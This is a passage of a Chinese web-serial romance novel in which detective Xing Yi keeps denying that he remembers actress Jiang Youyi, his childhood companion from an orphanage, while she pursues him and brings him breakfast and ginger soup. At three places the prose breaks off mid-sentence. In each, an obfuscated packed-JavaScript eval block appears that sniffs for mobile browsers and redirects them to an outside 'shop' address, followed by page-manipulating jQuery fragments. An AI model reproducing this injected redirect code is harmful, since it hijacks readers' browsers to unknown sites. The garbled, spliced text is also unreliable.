“我们这才见过几面,你对我感兴趣无非就是因为觉得我们曾经认识,可是我已经告诉你很多次了,我不记得你,也不记得什么姜桃。” 江宥一耸耸肩膀,一副无所谓的表情,她已经不在意邢弋怎么说了。 “你记不记得我不重要,我和你说过吧,我这人没什么朋友,小时候的邢弋算一个。我很珍惜和你,哦不,和他的感情,也不打算放弃。我从小就是这样,死缠烂打的性格,被我缠上你就认栽吧!” 邢弋听完她这一段长篇大论,竟然破天荒地笑了,虽然那抹笑容很快就从他脸上消失。 但江宥一的的确确看到了,邢弋笑了。 她更加摸不准了,他这笑是什么意思,自己说要缠着他,他不觉得头疼吗?还是说,他小瞧自己,觉得自己根本没有能力缠着他这位刑警? 江宥一没去深究那个笑容的深意,表情严肃地轻咳了一声。 “咳咳,我刚才说的都是认真的。我仔细考虑过,咱们认识那会儿才几岁,分开十几年了,你不记得我也正常,我们可以重新认识,以后我慢慢给你讲小时候的事情,你也许就想起来了,不是吗?” “不用了,我对小时候的事情不感兴趣。” 邢弋依旧拒绝得干脆,不给江宥一留下任何可转圜的余地。 “这由不得你做主,我干什么是我的自由。” 江宥一丢下这么一句话,直接转身离开。 她压根儿没想着他能答应,但她江宥一想干成的事情,哪怕只有万分之一的可能性,也一定要试试。 邢弋看着江宥一离开的背影,垂下眼帘叹了口气。 陈燃见邢弋一个人回来,还傻乎乎地问他江宥一哪儿去了。 “她走了。” 邢弋不想做过多的解释,只说了三个字,就回了座位。 潘茁不知道两人说了什么,但她看得出来,邢弋的心情不怎么样。 “算了,她走了我们吃,菜都凉了。” 她努力地调动气氛,可邢弋从头到尾一直兴致缺缺。 好好的一场聚会最后只能草草收场。 邢弋送潘茁回家的路上,她盯着他的侧脸看了好久,最后才忍不住问出口:“你和江小姐之前认识吗?” 邢弋没想到她会提到江宥一。 “不认识。” 他想了很久才回答。 “哦。” 潘茁听得出来关于江宥一的事情,邢弋不想多说,她也不想自讨没趣,这个话题就这样过去了。 “邢弋,你是不是有喜欢的人了?” 潘茁犹犹豫豫半天,还是说出了这话,这个问题已经憋在她心里很久了。 从认识邢弋的第一天起,潘茁就隐隐感觉到,邢弋之前经历过很多事情。 他和别人不一样,有着同龄人没有的成熟。 他很神秘,好像在心里藏着很多秘密。 但他又什么都不愿意多说,所以她对他的过去,了解得少之又少。 就算是已经认识六年了,潘茁也只是知道,邢弋没有什么亲人,也从没提起过他的父母,被他放在心上的,只有两个人。 一个是女明星江宥一,另一个就是那张照片上留着短发的小女孩。 邢弋刚考到警校的时候,入学第一天,新生群里就炸开了锅,说是这一届侦查学新生里有个男生又帅又能打。 刚刚成功报到的潘茁,当然也很期待“会会”这个和自己同班的专业第一。 见到邢弋的第一眼,潘茁就彻底沦陷了。 她到现在都还清楚记得,第一次见到邢弋的时候,他穿着一身黑色半袖加深蓝色牛仔裤,搭着工装靴走进人群,轻松吸引着周围女生频频侧目。 邢弋当时剃着板寸,棱角分明,剑眉星目,一双眼睛里透着一股子狠劲儿。 年级第一、身手矫健、长相硬朗、身材挺拔…… 这样一个近乎完美的人出现在身边,也不怪潘茁对他一见钟情。 只不过,虽然喜欢邢弋的女生很多,但却没有几个敢主动接近他。 当时的他,性格古怪,一直独来独往,不怎么和人来往,甚至一度被大家当做另类。 男生们也一致认为这小子实在是“太装了”。 邢弋虽然没什么朋友,但迷妹确实不少,可大多数都对他“望而却步”,敢主动上去“招惹”他的,潘茁是第一个。 她对他不光是喜欢,还有好奇和崇拜。 “你好,我叫潘茁,沅江人,咱俩一个班的,以后还请多多指教。” 这是潘茁和邢弋说的第一句话。 邢弋并没有想象中那么冷酷,但也确实算不上多热情。 “你好,我叫邢弋。” 两人这么就算是认识了。 后来,可能是因为潘茁确实热情,性格又直,大大咧咧的,邢弋也就渐渐对她放下心防,一来二去,两人就成了朋友。 但潘茁始终没敢告诉邢弋自己喜欢他的事情。 她了解邢弋,虽然他从没说过,但她能看得出来,邢弋应该是有过喜欢的女生。 他一直把一个女孩儿的照片保存的很好。 因为照片上的女孩子看起来只有六七岁,所以潘茁一开始理所当然地以为那是邢弋的妹妹。 潘茁第一次见到那张照片,是他们大二那年,邢弋的手机被人偷了。 一向性格沉稳的邢弋难得的慌了神,两个人一起去报警的路上,邢弋一直在说,手机里有他非常重要的东西,他必须要找回来。 潘茁一开始并不知道邢弋要找的究竟是什么东西,直到他成功拿回手机的那一刻,他的第一反应竟然是摘掉手机壳。 一个小女孩的一寸照从手机壳里掉了出来,邢弋这才重重松了口气。 看样子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957909|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他要找的东西没丢,当时的潘茁一脸惊讶,她没想到邢弋在乎的只是一张照片。 回学校的路上,潘茁问起照片上的女孩儿是不是他的妹妹。 没想到邢弋只是摇头:“不是,我没有妹妹,她是……对我非常重要的人。” 邢弋只解释到这里,其余的什么也没说。 “她叫什么名字?” “姜桃。” “很好听的名字。” 潘茁当时也没敢多问其他的,她不确定照片上的女孩儿是否还在世,也不确定她和邢弋到底是什么关系。 但她可以确定的是,那个女孩儿对邢弋来说很重要。 后来大学毕业,没有了学校的限制,潘茁也没再留过长发。 她一直对外宣称自己剪短发是因为上学时候短发留习惯了,方便打理。 但她从没告诉过任何人,她其实是觉得短发的自己和照片上的“她”有几分相似,便天真地以为邢弋或许会因此对自己产生不一样的感情。 “邢弋,你是不是有喜欢的人了?” 这句憋在潘茁心里多年的话,她终于还是说出了口。 邢弋扭头看了眼潘茁,回答地干脆:“有。” “是照片上的那个女孩儿吗?” “是。” 邢弋没有丝毫的犹豫,这种反应反而更让潘茁伤心。 原来在他的心里,从来就没有给任何人留下过走进去的可能。 他是真的喜欢“她”,只喜欢“她”。 潘茁感觉到邢弋一直看着自己,她不想被他发现,于是倔强地扭过头,强忍住眼泪。 “你小子这么多年藏挺深啊,和我你都不说,有喜欢的姑娘就去追啊,磨磨唧唧可不是你的性格,小心人家名花有主了,你哭都没地方哭去!” “你今天怎么和陈燃似的,絮絮叨叨的,你两都不着急,我急什么。” 潘茁不停玩弄起自己的手指头,长出了口气,依旧故作轻松:“我还以为你喜欢的是江小姐呢!” 邢弋这回没有说话,沉默了好半天,但潘茁心里明白,看样子这位江宥一大明星也和自己一样,不过是自作多情。 车里的气氛有些奇怪,潘茁摇下车窗,把半个身子探出外面去:“嘿,你别说,今儿这天气是真不错,这小风吹得人还怪舒服的。” 邢弋把她拽回来:“太危险了,你还是消停待会儿吧!” 潘茁看了他一眼,撇撇嘴:“哼,今天我高兴。” “老邢,你当年为什么考到沅江啊?” 潘茁虽然知道邢弋对自己没有别的想法,但也确实想知道,当初邢弋和自己一起报考沅江市刑侦支队,究竟是不是为了自己。 除了这个理由,潘茁想不到邢弋一个人孤身来到沅江的理由。 “因为她在沅江市。” 邢弋没打算隐瞒,他确实是为了江宥一才来的沅江。 那个时候,邢弋刚刚大学毕业,听说江宥一定居到沅江后,他没有一丁点儿犹豫,就决定来沅江发展。 他没有别的奢望,只是希望离她近一点,再近一点。 “她是谁?是姜桃吗?” 潘茁小心翼翼地试探,即便心里已经知道答案。 邢弋点头。 “哦,原来是这样。” 潘茁抿着嘴不停地点头微笑,她现在只感觉自己的大脑一片空白,什么话也说不出来。 她没想到原来最后的那点可能,也只是自己的误会。 邢弋不是为了自己来的沅江,而是因为“姜桃”也在沅江,这一切只不过是凑巧,是自己的一厢情愿。 8. 一碗姜汤 送完潘茁,邢弋一个人回了家。 他开始反复回想起江宥一的那句“我干什么是我的自由”。 他摇了摇头,脸上出现宠溺的笑。 她还是这么任性,这点倒是和小时候一模一样。 连邢弋自己都没有察觉到,现在他已经开始期待江宥一的出现了。 但他非常自信,江宥一不会做出什么出格的事情,她现在毕竟是明星,身边不知道有多少双眼睛盯着。 在娱乐圈摸爬滚打多年,有了如今的成绩不容易,所以邢弋料定江宥一不会胡来。 可事实是,他还是低估了江宥一。 她可是“有备而来”。 第二天一大早,准备出门晨跑的邢弋,居然在自己家单元门口“偶遇”了江宥一。 “你怎么在这儿?” 邢弋显然对于江宥一的突然到来毫无心理准备。 “我来给你送早点啊!” 江宥一举起手里的煎饼果子在邢弋面前晃晃,像是只小猫在炫耀自己的捕食成果。 邢弋看她看得晃神,半天才开口:“你怎么有我家地址?” 他没有接过早点,环顾了一下四周后,把江宥一拉进楼道。 “这你别管,我负责喂饱你,你只需要享受我的劳动成果就好了。” “我不饿,早点你带走。” 邢弋依旧冷着脸,眼神警惕地看向外面。 “你是警察又不是小偷,怎么看起来鬼鬼祟祟的?” 江宥一看着邢弋一副做贼心虚的模样实在想笑。 “你不怕被人拍到吗?” 邢弋皱起眉头,表情严肃又认真。 “这么说,你是在担心我咯?” “我只是不想自己的生活被打扰。” “哦。” 江宥一嘟起嘴,腮帮子鼓鼓的,瞪着邢弋。 “放心吧,邢警官,我来的时候全副武装,帽子、口罩、墨镜一件不落,不会有人拍到的,躲狗仔这事儿我可比你有经验多了。” 江宥一说这话时语气里还带点儿小骄傲。 邢弋刚想开口,眼前人已经按了电梯。 “走啊,愣着干嘛?粥要趁热喝!你家住几楼?” 她倒是一点儿不客气。 “我没说邀请你去家里,你请回吧,我要去上班了。” 邢弋依旧直愣愣杵在门口,一副要送客的态度。 “你这是什么待客之道?真没礼貌!” 江宥一看邢弋态度坚决,她也没有其他办法,总不能强闯民宅吧?尤其对方还是警察。 她把手里的早点塞到邢弋手里,皱着眉头看他:“早点要趁热吃,凉了对胃不好。既然你不欢迎,我就先走了。” 说完,她从兜里拿出口罩重新戴上,邢弋反应过来的时候,只看到她潇洒离开的背影。 对于江宥一这种“理不直气也壮”的耍无赖行为,邢弋也没什么办法。 他咬了一大口煎饼果子,给陈燃打去了“慰问”电话。 “邢老大,你这会儿不应该晨跑呢吗?怎么想起给我打电话?” 陈燃显然是刚刚起床,说话声音闷闷的。 “你还好意思说,我家地址是你给江宥一的吧?” “嗯,是啊,是我给的,她说有东西落你车上了,着急要,我就把地址给她啦?” 陈燃压根没把这当回事儿。 “你是不有病啊你,她什么时候坐过我车呀?怎么可能把东西丢下?” 面对自己的“猪队友”,邢弋实在是无力吐槽。 “她有没有坐过你的车我怎么可能知道,再说了,你家地址又不值钱,你觉得她是会图你财呀还是图你色,你紧张什么?” 论起耍嘴皮子,邢弋根本不是陈燃的对手。 “算了,不和你说了。” 邢弋挂断电话后,看了眼手里的粥,只能放弃晨跑,先回家吃饭。 虽然今天早上江宥一没能实现和邢弋“共进早餐”的计划,但是她的办法还多的是。 她原本打算这周末就执行她的PLANB,可惜还有活动要参加,实在是腾不出时间,只好一拖再拖。 另一边的邢弋,难得混了几天清闲日子,身边没有江宥一的出现,他的生活终于回归了正轨。 每天就是单位、家、拳馆三点一线,偶尔约着陈燃一起出去吃个饭。 虽说这就是邢弋最舒服的生活方式,但他总觉得少了点什么,心里空落落的。 他当然不愿意承认,但那就是事实——邢“木头”想江宥一了。 邢弋开始觉得江宥一的突然失联,可能就是因为自己屡次三番的拒绝,他努力安慰自己,这才是他和江宥一这辈子注定的结局。 他们本就不是一类人,早晚也是要分开。 但感情这种东西很奇妙,它总能战胜理智,甚至有时候你越是想要压制住它,它就越扰得你心神不宁。 当一个人走进你的心里,无论你做多少努力,都不会轻易抹去她在你心里的位置。 邢弋这两天待在家里总能想起江宥一,甚至陈燃敲响门铃,他都开始期待江宥一能突然出现在门口。 “你小子今天开门速度倒是蛮快!” 陈燃一进门就径直走进厨房,从冰箱里拿了瓶冰镇汽水出来。 “你怎么来了?” “哟呵,瞧你这话说的,我是你兄弟,你家就是我家,这才一天没骚扰你,你倒是和我见外了?” “滚!” 邢弋冲陈燃扔了个沙发抱枕过去。 “周末忙什么呢?” 邢弋坐在陈燃对面问他。 “没什么,回家陪我妹复习来着。” “额……除了你妹呢,再就没联系什么人?” 邢弋喝了口水,云淡风轻地开口,但眼睛一直看着陈燃,着急等着听他的答案。 “没呀,哦,对了,潘茁昨天给我打电话来着,她问我糖醋里脊的糖醋汁儿怎么调,那不是你的拿手菜吗?她怎么不问你?” “不知道,不过我确实很久都没见她了。除了潘茁你还联系别人了吗?” 邢弋似乎是绕不开这个话题了。 “不是大哥,你到底想说什么,你想让我联系谁?就别和我兜圈子了呗?你审犯人呢?” 陈燃能感觉得到,邢弋心里憋着话没说。 “算了,没什么。” 邢弋摇摇头,坐回沙发,又开始一言不发。 陈燃越来越不懂他这个兄弟每天究竟再想什么了。 “有话就说,你到底想问谁?磨磨叽叽的,可不是你的性格。” 邢弋看了他一眼,憋了半天也没说出来。 陈燃这会儿才终于反应过来,他贱兮兮地笑着走在邢弋旁边坐下,一只胳膊搭上他的肩膀。 “好啊,你小子,你该不会是想问我有没有联系江宥一吧?” 邢弋没说话。 陈燃没挨打,这就说明他没猜错。 “怎么,上次把你的江女神拒之门外,现在人家不搭理你,你又后悔了?” “陈燃你别犯贱!” 邢弋眼神不自觉地避开陈燃,他现在满脸都是心思被人猜中的心虚表情。 陈燃从没见过他这样,倒是觉得稀奇。 “行了,不逗你了,她最近没联系过我,人家毕竟是大明星,行程很赶的,你还真觉得她有空天天围着你转啊?” 陈燃说的倒是大实话,江宥一最近确实快要忙疯了,原本以为上一部剧杀青,她能清闲一段时间,好好维系一下和邢弋的“旧情”。 结果,她接近邢弋的完美计划才刚刚开始执行,就被拉着不是参加商业活动就是拍广告。 一周过去了,她连邢弋的影子都没见到。 好不容易休息几天,刚下飞机,她就直奔邢弋家小区。 单元门需要刷卡,江宥一进不去,只能站在楼下给邢弋打电话,可惜没人接。 她开始犯嘀咕:“今天是周末,他不可能不在家啊?” 十二月的天气,寒风刺骨,刮得人脸生疼,江宥一把脸埋进围巾里,一个人站在风中凌乱。 眼看等不到人,她总不能把自己的小命搭在这儿,刚要离开,正巧碰上邢弋从外面回来。 “你怎么在这儿?” 江宥一听到邢弋的声音,立刻转头,眼睛忽闪忽闪,像是见到了救星。 邢弋看着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957910|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被风吹得通红的小脸,语气一下子又软了下来:“先进去吧,小心感冒。” 江宥一乖乖被邢弋拉着往前走,心想,对付你小子,看样子还是“苦肉计”管用。 “你是不是傻呀,等了多久?” 邢弋一边给江宥一倒热水,一边问她。 她看着他严肃的表情,为这种久违的亲近感到开心。 “我等了你好久,半个多小时呢,都快冻傻了?现在手脚冰凉,就要失去知觉了。” 江宥一眼里含着泪光,轻轻咬住下唇,故意装得委屈巴巴,楚楚可怜。 她这一套连招,无非就是想赖在邢弋身边久一点。 “我就是出去买个菜,一共也没十分钟。” 邢弋毫不留情拆穿了江宥一卖惨博同情的小把戏。 但他也只是嘴硬,怕江宥一着凉,还是从卧室拿出了厚衣服披在江宥一身上,又从抽屉里找了几个暖宝宝递到江宥一手里。 “你乖乖坐着别动,我去给你煮碗姜汤。” 邢弋安顿好江宥一,就开始在厨房里忙活。 江宥一坐在沙发上,鼻尖还有些微微发红,她看着邢弋的背影,突然觉得今天这冷风吹得真值。 早知道这样就能和邢弋关系变好,江宥一半个月前就这么干了,又何苦等这么久。 趁着邢弋不在,江宥一仔细参观了一下邢弋家里,毕竟这机会属实是来之不易。 虽说是他一个人住,但这里被打扫得干干净净,一尘不染,江宥一甚至怀疑自己被带进了样板间。 邢弋还是和小时候一样,习惯把所有东西都摆得整整齐齐,喜欢把卧室的窗帘紧紧拉住。 明明什么都没变,她还是她,他也还是他,怎么他就不愿意承认那段过去呢? 江宥一想着想着,突然觉得有些伤感。 “过来喝汤!” 邢弋的声音传来,江宥一乖乖走过去。 姜汤的味道扑鼻而来,是江宥一最讨厌的味道。 她嫌弃地别过头去,但一想到这是邢弋煮给自己的,就又重新拿起勺子。 “小心烫。” 邢弋接过勺子,白色的瓷匙伸进琥珀色的汤里,慢慢搅动。 客厅里只有勺子轻碰碗壁的声音,和他衣袖摩擦时细微的窸窣声。 江宥一就这么呆呆看着他,思绪飘回到十几年前。 那个时候的她贪玩,在外面淋了半天雨,回去被福利院的老师训,是邢弋牵起她的小手,一勺一勺地把老师煮好的姜汤喂到她的嘴里。 她很讨厌姜汤,那个时候就很讨厌,但邢弋常常会在兜里准备大白兔奶糖哄她。 现在的江宥一依旧接受不了姜汤的味道,但又很怀念那个时候,很怀念那个喂她喝汤的邢弋。 “可以了。”邢弋低声说。 江宥一刚要接过碗,他却把勺子送到她的唇边。 “试一下,应该不烫了。” 江宥一愣了一下,然后微微前倾,小心翼翼地抿了一小口。 “还烫吗?”他问。 她摇摇头,眼睛弯起来:“刚刚好。” 他就这么一下一下的重复着喂汤的动作,江宥一贪婪地享受着这一刻。 幸福来得太过于突然,她甚至觉得自己好像是在做梦。 最后一口喝完,邢弋开始收拾碗勺,起身时动作顿了一下,像是想起了什么。 他放下碗筷,转身回来时,手里多了一颗小小的奶糖,剥开糖纸,放进江宥一嘴里。 她含住那颗糖,这一瞬间的幸福让她感觉时间好像都慢了下来,好像这些年她一个人承受的所有痛苦、别离、疲惫,都被这个瞬间治愈。 她不受控制地拉住邢弋的手,一遍又一遍地问着:“你还记得是吗?你一定都记得对吧?” 邢弋停顿了片刻,回头看了江宥一一眼,内心似乎是有所动摇:“我不知道你在说什么。” “那你刚刚为什么喂我喝汤?就像小时候那样?” “碗底很烫。” “那么那颗糖呢?” “去去姜味。” 江宥一气得站起来,扔掉手里的衣服。 “邢弋,你到底在顾虑什么?” 9. 普鲁斯特效应 面对江宥一的质问,邢弋没有回答。 正如江宥一料想到的那样,他还是一如既往选择逃避。 “喝了姜汤舒服点了吧,早点儿回去吧!” 邢弋把江宥一刚刚丢在椅子上的衣服叠好,站在门口看着她。 这摆明是要送客。 江宥一一脸不可置信地盯着他看。 明明几分钟前他还那么温柔的喂她喝汤,给她糖吃,怎么一下子就变得这么冷漠,好像刚才的一切都只是她的幻觉。 “我没车。” 江宥一别扭地把脑袋转向另一边,一屁股坐到沙发上,开始耍起小孩子脾气,嘴巴噘得老高,一如她小时候那样。 邢弋看着她这副模样,绷紧嘴角,想要继续维持严肃的假象,但眼角已经泄露了笑意。 “那你是怎么过来的?”他这会儿的语气软得不像是在质问。 “我助理和司机送完我,我就叫他们先回去了。” 江宥一依旧故意不去看邢弋,等再转头,他已经蹲在了自己面前,目光温柔,一点儿没有要怪她的意思。 “我送你。” 江宥一身体下意识地向后倾了倾,目光对上邢弋那双近在咫尺、带着点笑意的眼睛,心跳漏了一拍。 他这简直就是赤裸裸的勾引。 邢弋的“美男计”多少还是起了效果,江宥一迷迷糊糊地差点儿答应。 “好啊……啊不对,不好,我还是有点儿冷,现在出去肯定会感冒。” 她猛地站起来,小跑着拿起邢弋刚刚收好的外套,披在自己身上。 为了“演”的更逼真一点儿,江宥一刻意耸起肩膀,双手环抱住自己,然后又坐回到沙发上,把自己缩成小小一团。 她紧抿着双唇,眼睛忽闪忽闪地看向邢弋。 邢弋全程目睹江宥一的无赖行径,慢慢站起身,双手插兜,欣赏起“女明星”的精彩演出。 “是吗?那要不要再留下来吃个午饭?” “当然好了,正好我也饿了。” 江宥一笑得灿烂,一点儿没觉得邢弋是在挖苦自己。 看她这样厚脸皮,邢弋被气得半天说不出话,只是轻轻叹了口气,皱着眉头看向窗外。 江宥一鬼鬼祟祟瞥了他一眼,眼珠子提溜转,心想:“他这是在干嘛?耍帅吗?” 正当两人僵持不下的时候,邢弋家门铃响了。 可视对讲机上出现了陈燃和潘茁的脸,两人正站在楼下瑟瑟发抖。 江宥一和邢弋对视了一眼。 真是有人欢喜有人忧。 对于江宥一来说,这简直是最佳助攻,邢弋没了赶走自己的理由,这顿午饭她可以心安理得地和他一起吃。 虽说是破坏了她和邢弋单独相处的机会,但对于现在的江宥一来说,只要能留在邢弋身边,其他的都不是问题。 更何况,邢弋上次亲口说过,潘茁和他只是同事关系,江宥一也就不担心她会和自己“抢”走邢弋。 可是对于邢弋来说,这简直是火上浇油,乱上添乱。 陈燃和潘茁一来,他也不好在朋友面前赶走江宥一。 最关键的是,他不知道该怎么解释,为什么周末上午江宥一会出现在自己家里。 邢弋眉头紧锁,烦躁地抓了抓头发。 江宥一才不担心这些,屁颠儿屁颠儿跑过去开门,满心欢喜地等着“客人”上来。 果然,陈燃在看到江宥一的那一刻,直接大脑宕机,愣在原地。 他眨了眨眼,想确认自己是不是眼花了,又转头看了眼门牌号,这才确定自己没走错,也没看错。 跟在他身后的潘茁同样被吓到了,和江宥一对视后,她迅速垂下眼睫,遮住瞬间涌上来的酸涩。 “你好。” 气氛有些奇怪,江宥一率先开口。 “你好你好。” 陈燃憋着笑和她打了招呼,然后立刻跑到邢弋面前,眉毛高高扬起,发出无声惊叹:“什么情况?” 邢弋现在的眼神何其无辜,他的手无意识地抚摸着后脑勺,好像是在想应该怎么解释,但又无从下口。 “你们怎么来了?” 他组织了半天语言,最后也只是从嘴里蹦出这么一句听了更叫人误会的话。 “哎呦,老邢,听你这话,是嫌弃我们俩不请自来,打扰你……们了?” 陈燃好不容易抓包邢弋,不好好调侃调侃他,可不是他陈燃的风格。 见邢弋不搭理他,他又贱兮兮地凑过来,胳膊肘捅了捅邢弋的腰,挤眉弄眼地笑道:“怎么,被我说中了?” 邢弋没好气地瞪了陈燃一眼,压低声音:“别胡说八道!” 陈燃看了眼江宥一,冲她笑笑,然后把邢弋拽到厨房:“那你倒是给我个解释,这位大小姐怎么跑你家里来了?” 邢弋刚要开口,却发现自己好像还真是没有个拿得出手的理由。 他该怎么说,说江宥一一大早来自己家楼下,然后冻着了,自己怕她感冒,特意留下她,给她熬了姜汤? 他一向不是爱多管闲事的人,自己感冒了甚至连药都不吃,硬抗过去。 要是被陈燃知道他给江宥一煮了姜汤,还亲自喂她喝下去,陈燃非得拿这事儿挤兑他一年。 “你先说说你怎么跑我家来了?” 邢弋倒是很会转移话题。 “我还能是为什么,馋你手艺,过来蹭饭了呗,谁能想到不小心撞见江宥一在你家……这次是兄弟对不住你了啊,是不打扰你们二人世界了?” “这事儿别提了啊,差不多行了。” 邢弋耳根瞬间烧起来。 “我去,原来老邢你也会害羞啊?” 陈燃见他这样,笑得更欢了。 他拍了拍邢弋肩膀,语重心长道:“邢弋呀邢弋,别怪我没提醒过你啊,自古英雄难过美人关,我看你迟早要栽到江宥一手里。” “滚。” 不远处的潘茁把这一切尽收眼底。 她从没见过邢弋这样,也没见他把哪个女孩儿带到家里来。 她想不通,也看不懂,邢弋明明几天前才告诉过自己,他只喜欢“姜桃”,现在却又和这个江宥一不清不楚。 她越来越不理解邢弋了,甚至觉得他好陌生。 江宥一看看邢弋,又看看潘茁,她能猜的出来,潘茁没把邢弋当成普通朋友。 其实江宥一挺同情潘茁的,小时候的回忆她都没能放下,如今的潘茁,又哪能那么轻易做到呢? 饭做好了,估计四个人谁也没想到,他们这么快又鬼使神差般的聚到了一起。 餐桌上,大家大眼瞪小眼,气氛甚至比上一次还要尴尬。 陈燃看看邢弋,再看看江宥一,就这么明目张胆地嗑起自己兄弟的“cp”。 “咳咳,相逢即是缘,没想到这么快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957911|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,咱们四个就又坐到一桌了啊,我估计以后这样的机会还有很多,不管怎么样,我先嗑一个,呃……不对,不好意思,嘴瓢了,我先喝一个啊!” 陈燃拿起手边的可乐喝了一大口,调侃起兄弟来他还真是一点儿不留情面。 不过也是,邢弋这多年的铁树终于开了花,陈燃也确实替他高兴。 他终于是再也不用看邢弋整天拿着张照片怅然若失了。 潘茁坐在陈燃身边,半天一言不发,她现在不光是生气,更是奇怪邢弋喜欢的人到底是谁? 她想一次性问个清楚,但今天又不太方便,也就只能一个人生闷气。 邢弋还来不及考虑自己的这两位朋友作何感想,他满脑子想的都是一会儿怎么把江宥一这位“小祖宗”给请回去。 一顿饭吃下来,只有江宥一一个人乐在其中。 她感觉自己和邢弋的关系正在慢慢变好,一切都在朝着她的计划进行。 吃完饭后,她没再提出什么过分的要求。 “时间不早了,我就先回去了。” 江宥一突然这么乖,邢弋倒是有点不习惯。 “我送你。” 他跟着起身,拿了外套就要出去。 陈燃在身后一副看好戏的表情,偷偷在潘茁耳边嘀咕:“快看看,简直奇迹,老邢也有这么主动的时候。” 潘茁笑不出来,白了他一眼,没再做声。 “你朋友来了,你就这么跟我出来合适吗?” 电梯里,江宥一抬头看向邢弋,她是真没想到邢弋会主动提出送自己。 毕竟,今天自己也把他“折腾”的够呛了,又是煮汤,又是做饭的。 “没事,他们不会在意这些。” “你朋友他们……常来你家吗?” 邢弋知道,江宥一想问的人其实是潘茁。 潘茁毕竟是女生,再要好的关系,一个女生总是出入单身男生家里,也终归是不合适的。 “不常来,我比较喜欢一个人,他们都知道,偶尔来,也是他们一起过来,吃个饭就回去了。” “哦。” 江宥一点点头,对于邢弋的回答,她很满意。 虽然不知道邢弋是不是特意在和自己解释,但是起码能够确定,他是真的只把潘茁当朋友。 刚上车,江宥一就问到一股浓浓的桂花香味。 “你的车上好香啊,是桂花吧!” 江宥一一脸期待地看向邢弋,等着看他会怎么回答。 “嗯,香水味,商场随便挑的,没太注意是什么味道。” 江宥一低头笑笑,没有说话。 小时候,福利院不远处有一棵桂花树,江宥一很喜欢桂花的味道。 心情不好的时候,她总会一个人跑去那棵树下面闻桂花香。 每一次,邢弋都能找到她,他不会说什么安慰的话,只是静静陪她待着。 就像是“普鲁斯特效应”,味道总是能唤起人的某一部分记忆。 长大后,江宥一每次闻到桂花香,都会想到邢弋,想到那棵知道自己所有童年秘密的桂花树。 第一次见面的时候,江宥一就在邢弋的衣服上问到桂花的味道了,刚刚在他的家里也是,她一直没问,是等着他主动提起。 江宥一看着邢弋,突然觉得他“欲盖弥彰”的模样还挺可爱的。 “我早晚会让你亲口承认的。”江宥一心想。 10. 疤 “去哪儿?” 邢弋发动汽车,看了眼江宥一。 “暮山街,银溪花园26号” 邢弋点点头,心里却在想,她怎么会住在郊区。 江宥一就好像能听到邢弋的心声似的。 “那里安静,我喜欢安静。” 他没再说话。 银溪花园距离市区少说也有半个小时车程,江宥一怎么可能会放过这种宝贵机会。 “你为什么会选择当警察?” “为了维护社会稳定,为了追求公平和正义。” 邢弋说得一本正经,官方得很,感觉像是提前背好了词。 江宥一看向窗外勾了勾嘴角,眼底却流露出悲伤。 口是心非的家伙,怎么就是不愿意说实话呢? “我给你讲个故事吧!”江宥一突然扭过头,看着邢弋,声音似乎有些颤抖。 “好。” “我小时候其实是在福利院长大的。” 她说完这句话刻意停顿了下,想看看邢弋的反应。 果然,他听到后,轻轻皱了下眉,双手紧握住方向盘,手背上的青筋隐现。 他没想到,江宥一这么快就会提起福利院。 江宥一看出了他的克制,故意继续说下去。 “那个时候,有个男孩儿一直陪在我身边,他对我很好。” “怎么突然说起你小时候的事儿了。” 邢弋喉结滚动了一下,脸上的表情很复杂。 “听我说完吧,这个故事我从来没和别人讲过。” 江宥一收敛起笑容,表情也突然变得严肃。 邢弋看了她一眼,便没再打断。 “我们每天一起上下学,一起回福利院,有一天,他因为生病请假没去学校,我只能一个人上下学。结果,偏偏就在那天的放学路上,我遇到了坏人。” 听到这儿,邢弋已经不再敢去看江宥一,只是用大拇指不停摩挲着方向盘边缘,呼吸也变得沉重。 江宥一静静看着他,没有停下来。 “我一开始是想跑的,但是很快就被那个男人抓住了,他抓着我的头发,拖着我走了很久。那个巷子里没有人,我当时害怕极了,我怕我再也见不到他,也害怕如果我真的出了什么事,他会因为没保护好我自责一辈子。” 邢弋眉心抽搐了一下,红了眼眶。 “就在我以为我就要完蛋了的时候,他出现了,他当时还生着病,但是却因为放心不下我,找过来了。他一下子就推开了那个男人,挡在我的前面,你说他是不是傻,他当时也才九岁。” 那天,邢弋一直把江宥一护在身后,小小的手掌早就攥出了汗。 那个男人啐了一口唾沫:“小屁孩,把这女娃交给我,我放你走。” “不可能。”他的眼睛狠狠盯着男人。 男人冷笑一声,向前一步,伸出手来就要抓住江宥一的手腕。 邢弋毫不犹豫地扑向他,像一头发狠的小狼,根本不给他靠近江宥一的机会。 